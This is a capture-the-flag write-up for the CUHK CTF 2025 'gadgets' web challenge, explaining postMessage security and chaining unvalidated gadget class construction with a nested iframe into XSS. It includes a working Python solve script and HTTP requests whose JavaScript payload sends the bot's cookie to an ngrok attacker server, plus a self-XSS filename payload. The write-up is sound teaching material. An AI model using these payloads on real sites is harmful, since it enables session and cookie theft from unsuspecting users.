gadgets
Table of Contents
Overview
- Solved by: @siunam
- 6 solves / 499 points
- Overall difficulty for me (From 1-10 stars): ★★★★★★☆☆☆☆
Background
Hi guys! I have been working on this Whiteboard thing where you can add lots of gadgets to it! However, I'm busy making challenges for this CTF already so this is still work in progress.
Can you help me make the UI and UX better? Don't hack me pleeaaseeeee thxxx!
chall-b.25.cuhkctf.org:25053
Enumeration
Explore Functionalities
Index page:
In here, we can create a new whiteboard and enter a URL for admin to visit!
Let's create a new whiteboard by clicking the "Create new board" button!
Burp Suite HTTP history:
When we clicked that button, it'll send a POST request to /board
. It'll then respond us with a JSON body data.
Let's add some gadgets!
Burp Suite HTTP history:
When we add a new gadget, it'll send a PUT request to /board/<board_id>
with a JSON body data. After that, the front-end renders the gadget.
Hmm… Seems like we can create a bunch of gadgets! Let's read the application's source code and see what we can do with them!
Source Code Review
In this challenge, we can download a file:
┌[siunam@~/ctf/CUHK-CTF-2025/Web-Exploitation/gadgets]-[2025/10/03|21:44:45(HKT)]
└> file 53_gadgets_f011e1e9f85f3cfb704072bc58cb1119.zip
53_gadgets_f011e1e9f85f3cfb704072bc58cb1119.zip: Zip archive data, at least v1.0 to extract, compression method=store
┌[siunam@~/ctf/CUHK-CTF-2025/Web-Exploitation/gadgets]-[2025/10/03|21:44:47(HKT)]
└> unzip 53_gadgets_f011e1e9f85f3cfb704072bc58cb1119.zip
Archive: 53_gadgets_f011e1e9f85f3cfb704072bc58cb1119.zip
creating: public/
creating: public/frontend/
inflating: public/frontend/.prettierrc
[...]
extracting: public/backend/.gitignore
extracting: public/backend/entrypoint.sh
inflating: public/backend/.env
In this web application, it has 3 services:
- Service
gadgets-frontend
: Written in JavaScript with React.js library - Service
gadgets-backend
: Written in JavaScript with Express.js web application framework - Service
gadgets-db
: Latest version of PostgreSQL
First off, where's the flag? What's our objective in this challenge?
In backend/.env
, we can see that the flag is in the environment variable FLAG
:
FLAG="cuhk25ctf{fake-flag}"
This environment variable is then used in function visit
from backend/controller/visit.js
. Lets walk through this function!
First, it'll launch a headless Chrome browser:
const { Builder, Browser, By } = require("selenium-webdriver");
const { Options } = require("selenium-webdriver/chrome");
exports.visit = async (req, res) => {
[...]
let options = new Options();
options.addArguments([
"--headless=new",
"--no-sandbox",
"--disable-dev-shm-usage",
]);
let driver = await new Builder()
.forBrowser(Browser.CHROME)
.setChromeOptions(options)
.build();
[...]
};
Then, the browser will go to environment variable FLAG_DOMAIN
(http://gadgets-frontend:3000
) and set a new cookie named flag
with the value of FLAG
environment variable:
exports.visit = async (req, res) => {
[...]
await driver.get(process.env.FLAG_DOMAIN);
await driver.manage().addCookie({
name: "flag",
value: process.env.FLAG,
sameSite: "Strict",
});
[...]
};
Notice that the flag
cookie doesn't have HttpOnly
flag, which means if we can achieve client-side vulnerabilities such as XSS, we can use JavaScript API document.cookie
to get the flag.
Finally, the browser will go to the POST request parameter dest
's URL for 10 seconds:
exports.visit = async (req, res) => {
[...]
const dest = req.body.dest;
[...]
try {
await driver.get(dest);
res.status(200).json({
message: "admin is visiting your web page, please wait a moment",
});
await driver.sleep(10 * 1000);
} finally {
await driver.quit();
}
};
Therefore, to get the flag, we need to somehow find some client-side vulnerabilities, such as XSS, to read the browser's flag
cookie on domain http://gadgets-frontend:3000
, and then exfiltrate the cookie's value to our attacker server.
Hunting For Client-Side Vulnerabilities!
In service gadgets-frontend
, frontend/app/whiteboard/Whiteboard.tsx
, it has the following useEffect
hook. If event.data.executeFunction
is not falsy, it'll create a new function object using new Function
:
export default function Whiteboard() {
[...]
useEffect(() => {
utils.functions.handleMessages((event) => {
if (event.origin !== window.origin) return;
const { data } = event;
[...]
if (data.executeFunction) {
try {
new Function(data.functionString)(...data.arguments);
} catch (error) {
console.error(error);
}
}
});
[...]
}, []);
[...]
}
Hmm… If we can control event.data.functionString
, we can execute arbitrary JavaScript code! For example:
new Function('console.log(origin)')('');
To do this dynamic function creation, we can dive deeper into function handleMessages
from frontend/app/utils.ts
:
function handleMessages(
handler: Parameters<typeof window.addEventListener<"message">>[1],
) {
window.addEventListener("message", handler);
}
In this function, it'll register a new event listener for event message
, and the handler logic is handler
parameter.
Event message
is will usually be fired when the event listener received an incoming message, such as via the postMessage
method.
With that said, there's a possibility that this application is vulnerable to postMessage
related vulnerabilities!
postMessage
101
In modern days, if the application wants to send cross-site requests, the receiver is required to have CORS (Cross-Origin Resource Sharing) configured.
For example, if site http://example.com
wants to send a cross-site request to site http://foo.com
and read its' response, site http://foo.com
must have response header Access-Control-Allow-Origin
with the value of http://example.com
. Otherwise, site http://example.com
can't read site http://foo.com
's response.
How about in JavaScript? Is cross-site JavaScript communication a thing?
Let's say site http://foo.com
has a feature that allows site http://example.com
to dynamically create <script>
tag with arbitrary source:
http://foo.com/main.js
:
const script = document.createElement('script');
script.src = siteExampleSource;
document.body.append(script);
To achieve this, site http://foo.com
is required to register a message
event on the window
object like the following:
window.addEventListener('message', (event) => {
const script = document.createElement('script');
script.src = event.data.siteExampleSource;
document.body.append(script);
});
For site http://example.com
to send messages to site http://foo.com
, http://example.com
must first have a reference to site http://foo.com
's window
object. This is because the event is registered in the window
object. Usually this can be done using window.open
method to open a new window to site http://foo.com
or embed site http://foo.com
using <iframe>
element.
Let's say site http://example.com
opened a new window to site http://foo.com
like this:
const siteFooWindow = window.open('http://foo.com');
The sender (http://example.com
) can then using postMessage
method to send messages to http://foo.com
:
siteFooWindow.postMessage({ 'siteExampleSource': 'http://example.com/main.js' }, 'http://foo.com');
Notice the second parameter of postMessage
, it's called targetOrigin
, which specifies the origin of the recipient (http://foo.com
) window. If it's string *
, all origins can receive the sender's messages, which allows malicious sites to leak the sender's messages.
To prevent arbitrary origins can send messages to the recipient window, the recipient must verify the message event's origin
. Example:
window.addEventListener('message', (event) => {
// sender's origin must be 'http://example.com'
if (event.origin !== 'http://example.com') return;
const script = document.createElement('script');
script.src = event.data.siteExampleSource;
document.body.append(script);
});
postMessage
Exploitation: Opaque Origin
In the application, the message
event handler will verify the sender's origin:
export default function Whiteboard() {
[...]
useEffect(() => {
utils.functions.handleMessages((event) => {
if (event.origin !== window.origin) return;
[...]
});
[...]
}, []);
[...]
}
In here, the sender's origin must be the current window's origin.
Luckily, this can be bypassed via an opaque origin (null
origin): https://book.jorianwoltjer.com/web/client-side/cross-site-scripting-xss/postmessage-exploitation#bypassing-window.origin-using-null-origin.
If an <iframe>
element has attribute sandbox
, and the value doesn't have allow-same-origin
, the <iframe>
's origin will be null
. (https://html.spec.whatwg.org/multipage/iframe-embed-object.html#attr-iframe-sandbox)
We can then use the <iframe>
's srcdoc
attribute to open a new window to the target page. Since window.open
will inherit the current window's origin, the newly opened window's origin will be null
.
const frame = document.createElement('iframe');
frame.sandbox = 'allow-scripts allow-popups allow-modals allow-top-navigation';
frame.srcdoc = `
<script>
const w = window.open('http://foo.com');
setTimeout(() => {
w.postMessage({ 'siteExampleSource': 'http://example.com/main.js' }, '*');
}, 1000);
<\/script>
`;
document.body.appendChild(frame);
Sadly, it doesn't work on the challenge's application:
Access to script at 'http://localhost:25053/assets/Whiteboard-CrPhtv-N.js' from origin 'null' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
Note: The
message
event is registered in the/:id
route:
frontend/app/routes.ts
:import { type RouteConfig, route } from "@react-router/dev/routes"; export default [ route("/", "./Home.tsx"), route("/:id", "./whiteboard/Whiteboard.tsx"), ] satisfies RouteConfig;
In React.js, modules will be compiled at runtime, thus all JavaScript files will be in different places:
;
import * as route0 from "/assets/root-CFGmKD6S.js";
import * as route1 from "/assets/Whiteboard-CrPhtv-N.js";
window.__reactRouterManifest = {
[...]
"routes": {
[...]
"whiteboard/Whiteboard": {
[...]
"module": "/assets/Whiteboard-CrPhtv-N.js",
"imports": [
"/assets/chunk-UH6JLGW7-BuU8Z2XH.js",
"/assets/utils-BBUCqLXQ.js"
],
[...]
},
[...]
},
[...]
};
At the browser level, since now the origin is null
, we're effectively importing JavaScript files in cross-site:
- Origin
null
-> originhttp://localhost:25053
As I mentioned before, to send cross-site requests, the response should have header Access-Control-Allow-Origin
to allow different sites to read the response.
Therefore, this opaque origin bypass doesn't seem to work.
Another possible method to solve this issue is via client-side DNS rebinding. You might hear of DNS rebinding when you're trying to do SSRF and bypass the hostname blacklist. This technique can also be applied at the browser-level! After binding attacker.com
to resolve to IP address 127.0.0.1
, we can open a new window to http://attacker.com:25053
. Since both of them are same site (http://attacker.com
and http://attacker.com:25053
), all other JavaScript files should be able to be imported.
Sadly, the headless browser will set the flag
cookie on site http://gadgets-frontend:3000
. If we do DNS rebinding, the site will be our attacker's site (E.g.: http://attacker.com
). Therefore, we can't access cookies that are in site http://gadgets-frontend:3000
. You can test this using the Singularity of Origin auto attack page.
Even if we can solve this "cross-site" problem (null
origin vs http://gadgets-frontend:3000
), how can we even access cookies? It shouldn't work because of the SOP (Same-Origin Policy). Origin null
just can't access stuff in origin http://gadgets-frontend:3000
. The only way to solve this issue is to chain this postMessage
with a CSRF or a self-XSS gadget, sort of like a "second-order XSS".
postMessage
Exploitation: postMessage
Gadget
Another way to exploit it is to find a function that will call postMessage
method, and is able to control the message.
Luckily, the application has such function in frontend/app/utils.ts
:
function sendToParent(payload: any) {
if (window.top === window) return;
window.parent.postMessage(payload);
}
This sendToParent
will send messages to the parent window if the current window is NOT the top window.
This function is used in frontend/app/whiteboard/Whiteboard.tsx
twice:
export default function Whiteboard() {
[...]
useEffect(() => {
[...]
if (document.readyState === "complete")
utils.functions.sendToParent({ pageLoaded: true });
else
window.addEventListener("load", () =>
utils.functions.sendToParent({ pageLoaded: true }),
);
[...]
}, []);
[...]
}
Sadly, we can't control the message when the DOM is loaded.
At the very beginning when we're poking around at the application, we can see the following JSON body data when we create a new gadget:
{
"content": {
"e7c97b33-114c-4650-bb76-8e43c5db6e3c": {
"id": "e7c97b33-114c-4650-bb76-8e43c5db6e3c",
"type": "gadget.paragraph",
"content": "New Gadget",
"left": 693,
"top": 631
}
}
}
Huh, what's that type
key?
When we send a PUT to service gadgets-backend
(Port 25054
), it'll insert a new record into the database. Here's the schema of table Board
:
model Board {
id String @id @default(uuid()) @db.Uuid
content Json @default("{}")
}
As we can see, column content
is a JSON object.
Well. How does the front-end render the board's gadgets?
When we go to /:id
, the useEffect
hook will fetch all gadgets based on the board ID by sending a GET request to http://localhost:25054/board/<board_id>
:
export default function Whiteboard() {
[...]
useEffect(() => {
[...]
utils.objects.APIInstance.get(`/board/${id}`)
.then((res) => {
setGadgets(res.data.board.content);
setFetchError(null);
})
.catch((error: AxiosError) => {
console.error(error);
setFetchError(error);
})
.finally(() => setFetching(false));
}, []);
[...]
}
After fetching, it'll create different Gadget
object instance by calling function constructGadget
and render them:
export default function Whiteboard() {
[...]
return (
[...]
{fetching ? (
[...]
) : !fetchError ? (
Object.values(gadgets).map((data) => {
const gadget = constructGadget(data.type, data);
return (
<Draggable
{...{ gadget, mouseDownHandler, setCurrentGadget, childLoaded }}
key={data.id}
/>
);
})
) : (
[...]
)}
[...]
);
[...]
}
Inside function constructGadget
, it'll dynamically create different classes of object based on the exported classes in frontend/app/utils.ts
:
import * as utils from "~/utils";
[...]
function constructGadget(typeString: GadgetType, data: any): Gadget {
let gadgetClass: any = utils;
for (let str of typeString.split(".")) gadgetClass = gadgetClass[str];
return new gadgetClass(data);
}
Wait, it doesn't validate what classes we can initialize!
Let's see all the exported variables in frontend/app/utils.ts
:
export const gadget = {
paragraph: TextGadget,
text_input: InputGadget,
button: ButtonGadget,
image: ImageGadget,
board: BoardGadget,
};
export const functions = {
sendToChild,
sendToParent,
handleMessages,
};
export const objects = { APIInstance };
Oh! It exported object functions
with 3 defined functions. Most importantly, function sendToParent
is in there!
But wait, can we do something like this?
new sendToParent(data);
Let's test this theory!
function foo(bar) { console.log(bar); }
new foo('bar');
It works!
Therefore, we can call function sendToParent
by setting key type
's value to be functions.sendToParent
! Since we can control the gadget's data
, we should be able to execute arbitrary JavaScript through the message
event handler:
PUT /board/3d75f548-b331-46ea-8687-e1a36b846d40 HTTP/1.1
Host: localhost:25054
Content-Type: application/json
Content-Length: 131
{"content":{"anything":{"type":"functions.sendToParent","executeFunction":true,"functionString":"alert(origin)","arguments":[""]}}}
Now, the message
event handler's origin check will pass, because the event origin is the current window origin.
Well, not quite yet. We still have to overcome this check:
function sendToParent(payload: any) {
if (window.top === window) return;
[...]
}
To make the current window is NOT the same as the top one, we can try to find a way to embed the window that calls function sendToParent
.
Luckily, there's a gadget call board
:
frontend/app/utils.ts
:
import {
BoardGadget,
ButtonGadget,
ImageGadget,
InputGadget,
TextGadget,
} from "./classes/Gadgets";
[...]
export const gadget = {
paragraph: TextGadget,
text_input: InputGadget,
button: ButtonGadget,
image: ImageGadget,
board: BoardGadget,
};
frontend/app/classes/Gadgets.ts
:
export class BoardGadget extends Gadget {
public boardId!: string;
constructor(data: any) {
super();
Object.assign(this, data);
}
}
In frontend/app/whiteboard/components/Draggable.tsx
, this BoardGadget
will then get rendered in an <iframe>
:
export default function Draggable({
[...]
}: {
[...]
}) {
const iframeRef = useRef<HTMLIFrameElement>(null);
[...]
return (
[...]
{gadget instanceof BoardGadget && (
<iframe
ref={iframeRef}
src={new URL(gadget.boardId, import.meta.env.VITE_ROOT_URL).href}
width={500}
height={500}
/>
)}
[...]
);
}
Therefore, to exploit this postMessage
, we need to:
- Create board 1: Execute function
sendToParent
and send message to themessage
event handler
POST /board HTTP/1.1
Host: localhost:25054
Board 1 ID: dce78f03-820c-418f-891f-a49da7e3efe6
.
PUT /board/dce78f03-820c-418f-891f-a49da7e3efe6 HTTP/1.1
Host: localhost:25054
Content-Type: application/json
Content-Length: 131
{"content":{"anything":{"type":"functions.sendToParent","executeFunction":true,"functionString":"alert(origin)","arguments":[""]}}}
- Create board 2: Embed board 1 using board type
gadgets.board
POST /board HTTP/1.1
Host: localhost:25054
Board 2 ID: 0aba5d06-4e98-496c-8ca6-0d6b06240961
.
PUT /board/0aba5d06-4e98-496c-8ca6-0d6b06240961 HTTP/1.1
Host: localhost:25054
Content-Type: application/json
Content-Length: 97
{"content":{"anything":{"type":"gadget.board","boardId":"dce78f03-820c-418f-891f-a49da7e3efe6"}}}
Finally, go to board 2:
Nice! We can now execute arbitrary JavaScript code!
Exploitation
Armed with above information, we can now exfiltrate the headless browser's flag
cookie to our attacker server!
To automate the above steps, I've written the following Python solve script:
solve.py
import requests
class Solver:
def __init__(self, baseDomain, flagDomain=''):
self.baseDomain = baseDomain
self.flagDomain = flagDomain
self.FRONT_END_INTERNAL_PORT_NUMBER = '3000'
self.FRONT_END_PORT_NUMBER = '25053'
self.BACK_END_PORT_NUMBER = '25054'
self.FRONT_END_URL = f'{self.baseDomain}:{self.FRONT_END_PORT_NUMBER}'
self.BACK_END_URL = f'{self.baseDomain}:{self.BACK_END_PORT_NUMBER}'
self.BOARD_ENDPOINT = '/board'
self.REPORT_ENDPOINT = '/visit'
def createNewBoard(self):
return requests.post(f'{self.BACK_END_URL}{self.BOARD_ENDPOINT}').json()['board']['id']
def createNewGadget(self, boardId, data):
content = { 'content': { 'anything': data } }
requests.put(f'{self.BACK_END_URL}{self.BOARD_ENDPOINT}/{boardId}', json=content)
def report(self, boardId):
flagDomain = f'{self.FRONT_END_URL}' if self.flagDomain == '' else f'{self.flagDomain}:{self.FRONT_END_INTERNAL_PORT_NUMBER}'
url = f'{flagDomain}/{boardId}'
data = { 'dest': url }
print(f'[*] Reporting URL: {url}')
response = requests.post(f'{self.BACK_END_URL}{self.REPORT_ENDPOINT}', json=data, proxies={'http':'http://localhost:8080'})
rateLimitTimeoutSecond = response.headers.get('Retry-After')
if not rateLimitTimeoutSecond:
print('[+] Reported board 2 to the bot')
return
print(f'[-] Unable to report board 2 to the bot because we\'re rate limited. Please retry after {rateLimitTimeoutSecond} second(s)')
def solve(self, javaScriptPayload):
board1Id = self.createNewBoard()
board2Id = self.createNewBoard()
print(f'[+] Created 2 boards. Board 1 ID: {board1Id} | Board 2 ID: {board2Id}')
postMessageData = {
'type': 'functions.sendToParent',
'executeFunction': True,
'arguments': [ '' ],
'functionString': javaScriptPayload,
}
self.createNewGadget(board1Id, postMessageData)
print(f'[+] Created new gadget for board 1. Data: {postMessageData}')
iframeData = {
'type': 'gadget.board',
'boardId': board1Id
}
self.createNewGadget(board2Id, iframeData)
print(f'[+] Created new gadget for board 2. Data: {iframeData}')
self.report(board2Id)
if __name__ == '__main__':
# baseDomain = 'http://localhost' # for local testing
# flagDomain = 'http://gadgets-frontend:3000' # for local testing
baseDomain = 'http://chall-b.25.cuhkctf.org'
attackerDomain = '0.tcp.ap.ngrok.io:11851'
javaScriptPayload = f'''
fetch(`//{attackerDomain}/?${{document.cookie}}`)
'''.strip()
solver = Solver(baseDomain)
solver.solve(javaScriptPayload)
- Start our attacker web server
┌[siunam@~/ctf/CUHK-CTF-2025/Web-Exploitation/gadgets]-[2025/10/04|19:18:35(HKT)]
└> python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
- Setup port forwarding via ngrok
┌[siunam@~/ctf/CUHK-CTF-2025/Web-Exploitation/gadgets]-[2025/10/04|19:18:37(HKT)]
└> ngrok tcp 8000
[...]
Forwarding tcp://0.tcp.ap.ngrok.io:11851 -> localhost:8000
[...]
- Run the solve script
┌[siunam@~/ctf/CUHK-CTF-2025/Web-Exploitation/gadgets]-[2025/10/04|19:18:31(HKT)]
└> python3 solve.py
[+] Created 2 boards. Board 1 ID: 9768a1ae-3b52-4578-a703-2ee01260a1f0 | Board 2 ID: f4f52818-d924-4920-b051-96105030a491
[+] Created new gadget for board 1. Data: {'type': 'functions.sendToParent', 'executeFunction': True, 'arguments': [''], 'functionString': 'fetch(`//0.tcp.ap.ngrok.io:11851/?${document.cookie}`)'}
[+] Created new gadget for board 2. Data: {'type': 'gadget.board', 'boardId': '9768a1ae-3b52-4578-a703-2ee01260a1f0'}
[*] Reporting URL: http://chall-b.25.cuhkctf.org:25053/f4f52818-d924-4920-b051-96105030a491
[+] Reported board 2 to the bot
- Our attacker server log
┌[siunam@~/ctf/CUHK-CTF-2025/Web-Exploitation/gadgets]-[2025/10/04|19:34:45(HKT)]
└> python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
127.0.0.1 - - [04/Oct/2025 19:35:17] "GET /?flag=cuhk25ctf{cR3d17_t0_g00613_F0r_7hi5_iD34_7o_c0n5truc7_a_fUnCt10N} HTTP/1.1" 200 -
- Flag:
cuhk25ctf{cR3d17_t0_g00613_F0r_7hi5_iD34_7o_c0n5truc7_a_fUnCt10N}
Note 1: The remote instance's
FLAG_DOMAIN
environment variable's value is misconfigured tohttp://chall-b.25.cuhkctf.org:25053
. Make sure your reporting domain ishttp://chall-b.25.cuhkctf.org:25053
, NOThttp://gadgets-frontend:3000
. Note 2: For some reason, the solve script doesn't work locally but work on the remote.
Potential Unintended Solution
Since the remote instance's FLAG_DOMAIN
environment variable is misconfigured, it is possible to get the flag
cookie via an unintended way:
Because the flag
cookie is set on http://chall-b.25.cuhkctf.org:25053
, if we're able to find an XSS vulnerability in same site, we can exfiltrate the flag
cookie to our attacker server.
For instance, in web challenge "Jain Streak Dreamers", it is possible to gain self-XSS by uploading a file that contains an XSS payload in the filename:
POST /api/uploads HTTP/1.1
Host: chall.25.cuhkctf.org:25027
Content-Type: multipart/form-data; boundary=----geckoformboundary8dd4d25622ce03dd2571fa9a5c4117b4
Content-Length: 468
Cookie: dream.session=0DuyxM5yCcpRWtnYbMKNkCFWg
------geckoformboundary8dd4d25622ce03dd2571fa9a5c4117b4
Content-Disposition: form-data; name="files"; filename="<img src onerror=alert(origin)>.txt"
Content-Type: text/plain
anything
------geckoformboundary8dd4d25622ce03dd2571fa9a5c4117b4
Content-Disposition: form-data; name="dream.csrf"
AEo-W9ZWrnd11d2vIAhhaIOopmCI9zLcNhT6hEnCsOHK_hXKzzUNYgRaFP1BCseXaJuzf5l-ey1e4XtdutDvvWTCgJZhYORR4r97kEq3xMR7
------geckoformboundary8dd4d25622ce03dd2571fa9a5c4117b4--
We can leverage this self-XSS to get the flag
cookie by:
- The headless browser go to our attacker web server
- In our web server, perform a CSRF attack on challenge "Jain Streak Dreamers":
- Login to our attacker account
- Open a new window to trigger our self-XSS payload
- Read the
flag
cookie and exfiltrate it to our attacker server
- Read the
Sadly, step 3.1 won't work, as challenge "Jain Streak Dreamers" domain is different from the "gadgets" challenge:
- "Jain Streak Dreamers":
http://chall.25.cuhkctf.org:25027
- "gadgets":
http://chall-b.25.cuhkctf.org:25053
Although both of them are same site, the default value of attribute domain
when setting a cookie is the current domain:
document.cookie = 'flag=test';
So, we must gain XSS on domain chall-b.25.cuhkctf.org
in order to get the flag
cookie.
Conclusion
What we've learned:
postMessage
exploitation